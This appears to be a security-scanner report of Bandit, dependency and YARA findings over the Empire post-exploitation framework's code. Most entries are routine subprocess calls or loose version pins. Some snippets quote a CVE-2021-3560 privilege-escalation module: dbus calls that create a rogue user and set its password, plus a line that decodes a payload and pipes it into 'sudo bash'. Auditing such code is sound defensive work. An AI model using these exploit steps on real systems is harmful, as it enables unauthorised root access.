140 141 subprocess.run( 142 [ 143 "pyinstaller", 144 "-y", 145 "--clean", 146 "--specpath", 147 str(binary_path.parent), 148 "--distpath", 149 str(binary_path.parent), 150 "--workpath", 151 "/tmp/" + str(time.time()) + "-build/", 152 "--onefile", 153 str(binary_path.with_suffix(".py")), 154 ], 155 check=False, 156 ) 157 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/server.py line 67
- Likely real
- Probably noise, 12% confidence
Starting a process with a partial executable path
66 try: 67 result = subprocess.run( 68 ["git", "rev-parse", "--short", "HEAD"], 69 cwd=paths.REPO_ROOT, 70 stdout=subprocess.PIPE, 71 stderr=subprocess.DEVNULL, 72 text=True, 73 check=False, 74 ) 75 if result.returncode == 0: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/module_source/python/privesc/CVE-2021-3560.py line 68
- Likely real
- Probably noise, 12% confidence
Starting a process with a partial executable path
67 68 subprocess.call("su - ahmed -c 'echo \"{{ payload }}\" | base64 --decode | sudo bash'", shell=True) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/module_source/python/privesc/CVE-2021-3560.py line 53
- Likely real
- Probably noise, 12% confidence
Starting a process with a partial executable path
52 53 process = subprocess.Popen( 54 ['dbus-send', '--system', '--dest=org.freedesktop.Accounts', '--type=method_call', '--print-reply', uid, 55 'org.freedesktop.Accounts.User.SetPassword', password, 'string:GoldenEye']) 56 try: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/module_source/python/privesc/CVE-2021-3560.py line 34
- Likely real
- Probably noise, 12% confidence
Starting a process with a partial executable path
33 34 user = subprocess.run(['id', 'ahmed'], stdout=subprocess.PIPE).stdout.decode('utf-8') 35 if user.find("uid") != -1: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/module_source/python/privesc/CVE-2021-3560.py line 21
- Likely real
- Probably noise, 12% confidence
Starting a process with a partial executable path
20 counter = counter + 1 21 process = subprocess.Popen( 22 ['dbus-send', '--system', '--dest=org.freedesktop.Accounts', '--type=method_call', '--print-reply', 23 '/org/freedesktop/Accounts', 'org.freedesktop.Accounts.CreateUser', 'string:ahmed', 'string:"Ahmad Almorabea', 24 'int32:1']) 25 try: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/agent.py line 846
- Likely real
- Probably noise, 12% confidence
Starting a process with a partial executable path
845 try: 846 internalIP = os.popen("ifconfig|grep inet|grep inet6 -v|grep -v 127.0.0.1|cut -d' ' -f2").read() 847 except Exception as e1: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/agent.py line 823
- Likely real
- Probably noise, 12% confidence
Starting a process with a partial executable path
822 try: 823 uid = os.popen('id -u').read().strip() 824 except Exception as e: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/stager_generation_service.py line 1013
- Likely real
- Probably noise, 12% confidence
Starting a process with a partial executable path
1012 subprocess.run(["javac", str(java_file)], check=True) 1013 subprocess.run( 1014 ["jar", "-cfe", str(jar_file), "com.installer.apple.Run", str(class_file)], 1015 check=True, 1016 ) 1017 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/stager_generation_service.py line 1012
- Likely real
- Probably noise, 12% confidence
Starting a process with a partial executable path
1011 java_file.write_text(javacode, encoding="utf-8") 1012 subprocess.run(["javac", str(java_file)], check=True) 1013 subprocess.run( -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/go.py line 33
- Likely real
- Probably noise, 12% confidence
Starting a process with a partial executable path
32 try: 33 result = subprocess.run( 34 ["go", "env", "GOROOT"], 35 capture_output=True, 36 text=True, 37 check=False, 38 timeout=10, 39 env=minimal_env, 40 ) 41 if result.returncode == 0 and result.stdout.strip(): -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 4% confidence
Loose version constraint: 'python-obfuscator^0.0.2' — attacker could push malicious update
python-obfuscator = ^0.0.2 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 4% confidence
Loose version constraint: 'python-socketio^5.16.3' — attacker could push malicious update
python-socketio = ^5.16.3 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 4% confidence
Loose version constraint: 'python-multipart^0.0.32' — attacker could push malicious update
python-multipart = ^0.0.32 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/utils/shellcode_compiler.py line 152
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
151 try: 152 subprocess.run(compile_args, capture_output=True, text=True, check=True) 153 except FileNotFoundError: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/db/base.py line 373
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
372 try: 373 result = subprocess.run( 374 cmd, 375 stdout=outfile, 376 stderr=subprocess.PIPE, 377 check=False, 378 ) 379 except FileNotFoundError: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /.github/scripts/probe_wheel_install.py line 81
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
80 # so it is the cheapest proof that the script reaches empire.main. 81 result = subprocess.run( 82 [script, "install"], capture_output=True, text=True, check=False 83 ) 84 if result.returncode != 1 or REFUSAL_TEXT not in result.stderr: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/stagers/linux/pyinstaller.py line 141
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
140 141 subprocess.run( 142 [ 143 "pyinstaller", 144 "-y", 145 "--clean", 146 "--specpath", 147 str(binary_path.parent), 148 "--distpath", 149 str(binary_path.parent), 150 "--workpath", 151 "/tmp/" + str(time.time()) + "-build/", 152 "--onefile", 153 str(binary_path.with_suffix(".py")), 154 ], 155 check=False, 156 ) 157 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/stagers/windows/c_launcher.py line 138
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
137 try: 138 subprocess.run(args, capture_output=True, text=True, check=True) 139 except subprocess.CalledProcessError as e: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/utils/file_util.py line 122
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
121 122 result = subprocess.run( 123 command_with_user, 124 check=check, 125 cwd=cwd, 126 text=text, 127 capture_output=capture_output, 128 ) 129 except subprocess.CalledProcessError as e: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/utils/shellcode_compiler.py line 175
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
174 try: 175 subprocess.run(extract_args, capture_output=True, text=True, check=True) 176 except subprocess.CalledProcessError as e: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/server.py line 67
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
66 try: 67 result = subprocess.run( 68 ["git", "rev-parse", "--short", "HEAD"], 69 cwd=paths.REPO_ROOT, 70 stdout=subprocess.PIPE, 71 stderr=subprocess.DEVNULL, 72 text=True, 73 check=False, 74 ) 75 if result.returncode == 0: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/module_source/python/situational_awareness/LinPEAS.py line 4628
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
4627 # Use subprocess to run the shell script and capture the output 4628 process = subprocess.Popen(['/bin/sh', temp_name], stdout=subprocess.PIPE, stderr=subprocess.PIPE) 4629 stdout, stderr = process.communicate() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/module_source/python/privesc/CVE-2021-3560.py line 53
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
52 53 process = subprocess.Popen( 54 ['dbus-send', '--system', '--dest=org.freedesktop.Accounts', '--type=method_call', '--print-reply', uid, 55 'org.freedesktop.Accounts.User.SetPassword', password, 'string:GoldenEye']) 56 try: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/module_source/python/privesc/CVE-2021-3560.py line 21
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
20 counter = counter + 1 21 process = subprocess.Popen( 22 ['dbus-send', '--system', '--dest=org.freedesktop.Accounts', '--type=method_call', '--print-reply', 23 '/org/freedesktop/Accounts', 'org.freedesktop.Accounts.CreateUser', 'string:ahmed', 'string:"Ahmad Almorabea', 24 'int32:1']) 25 try: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/stager_generation_service.py line 1013
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
1012 subprocess.run(["javac", str(java_file)], check=True) 1013 subprocess.run( 1014 ["jar", "-cfe", str(jar_file), "com.installer.apple.Run", str(class_file)], 1015 check=True, 1016 ) 1017 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/stager_generation_service.py line 1012
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
1011 java_file.write_text(javacode, encoding="utf-8") 1012 subprocess.run(["javac", str(java_file)], check=True) 1013 subprocess.run( -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/go.py line 150
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
149 try: 150 result = subprocess.run( 151 [*build_args, "-o", str(build_output), "."], 152 env={**os.environ, **env}, 153 capture_output=True, 154 text=True, 155 cwd=build_dir, 156 check=False, 157 ) 158 except FileNotFoundError: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/go.py line 33
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
32 try: 33 result = subprocess.run( 34 ["go", "env", "GOROOT"], 35 capture_output=True, 36 text=True, 37 check=False, 38 timeout=10, 39 env=minimal_env, 40 ) 41 if result.returncode == 0 and result.stdout.strip(): -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/dotnet.py line 135
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
134 135 result = subprocess.run( 136 args, 137 capture_output=True, 138 text=True, 139 check=False, 140 cwd=self.compiler_dir, 141 ) 142 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/dotnet.py line 71
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
70 71 result = subprocess.run( 72 args, 73 capture_output=True, 74 text=True, 75 check=False, 76 cwd=self.compiler_dir, 77 ) 78 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/module_source/python/privesc/CVE-2021-3560.py line 34
- Likely real
- Probably noise, 3% confidence
subprocess call - check for execution of untrusted input.
33 34 user = subprocess.run(['id', 'ahmed'], stdout=subprocess.PIPE).stdout.decode('utf-8') 35 if user.find("uid") != -1: -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'PyYAML^6.0.3' — attacker could push malicious update
PyYAML = ^6.0.3 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'alembic^1.18.5' — attacker could push malicious update
alembic = ^1.18.5 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'SQLAlchemy^2.0.51' — attacker could push malicious update
SQLAlchemy = ^2.0.51 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'PyMySQL^1.2.0' — attacker could push malicious update
PyMySQL = ^1.2.0 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'pyparsing^3.3.2' — attacker could push malicious update
pyparsing = ^3.3.2 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'jinja2^3.1.6' — attacker could push malicious update
jinja2 = ^3.1.6 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'zlib_wrapper^0.1.3' — attacker could push malicious update
zlib_wrapper = ^0.1.3 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'macholib^1.16.4' — attacker could push malicious update
macholib = ^1.16.4 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'requests^2.34.2' — attacker could push malicious update
requests = ^2.34.2 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'urllib3^2.7.0' — attacker could push malicious update
urllib3 = ^2.7.0 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'fastapi^0.138.1' — attacker could push malicious update
fastapi = ^0.138.1 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'cryptography^49.0.0' — attacker could push malicious update
cryptography = ^49.0.0 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'platformdirs^4.10.0' — attacker could push malicious update
platformdirs = ^4.10.0 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'prettytable^3.18.0' — attacker could push malicious update
prettytable = ^3.18.0 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'pydantic-settings^2.14.2' — attacker could push malicious update
pydantic-settings = ^2.14.2 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'bcrypt^5.0.0' — attacker could push malicious update
bcrypt = ^5.0.0 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'netaddr^1.3.0' — attacker could push malicious update
netaddr = ^1.3.0 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'packaging^26.2' — attacker could push malicious update
packaging = ^26.2 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'werkzeug^3.1.8' — attacker could push malicious update
werkzeug = ^3.1.8 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'click^8.4.2' — attacker could push malicious update
click = ^8.4.2 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'Flask^3.1.3' — attacker could push malicious update
Flask = ^3.1.3 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'pyjwt^2.13.0' — attacker could push malicious update
pyjwt = ^2.13.0 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'aiofiles^25.1.0' — attacker could push malicious update
aiofiles = ^25.1.0 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'uvicorn^0.49.0' — attacker could push malicious update
uvicorn = ^0.49.0 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- pyproject.toml
- Likely real
- Probably noise, 2% confidence
Loose version constraint: 'pyinstaller^6.21.0' — attacker could push malicious update
pyinstaller = ^6.21.0 -
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/listeners/http_malleable/http_malleable.py.j2
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/listeners/http/listener.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/listeners/port_forward_pivot/listener.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/listeners/http_hop/listener.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/python/code_execution/invoke_script.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/python/privesc/linuxprivchecker.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/listeners/http_malleable/listener.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/core/plugin_service.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/data/module_source/python/situational_awareness/LinPEAS.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /CHANGELOG.md
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/listeners/http/http.py.j2
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/listeners/http/comms.py.j2
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/listeners/smb/listener.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/listeners/smb/smb.py.j2
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/listeners/http_foreign/listener.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/core/stager_generation_service.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/core/config/data_manager.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Dockerfile
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/modules/python/situational_awareness/network/http_rest_api.yaml
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /empire/server/modules/python/credentials/aws_imds.yaml
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /setup/install.sh
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
No findings match these filters.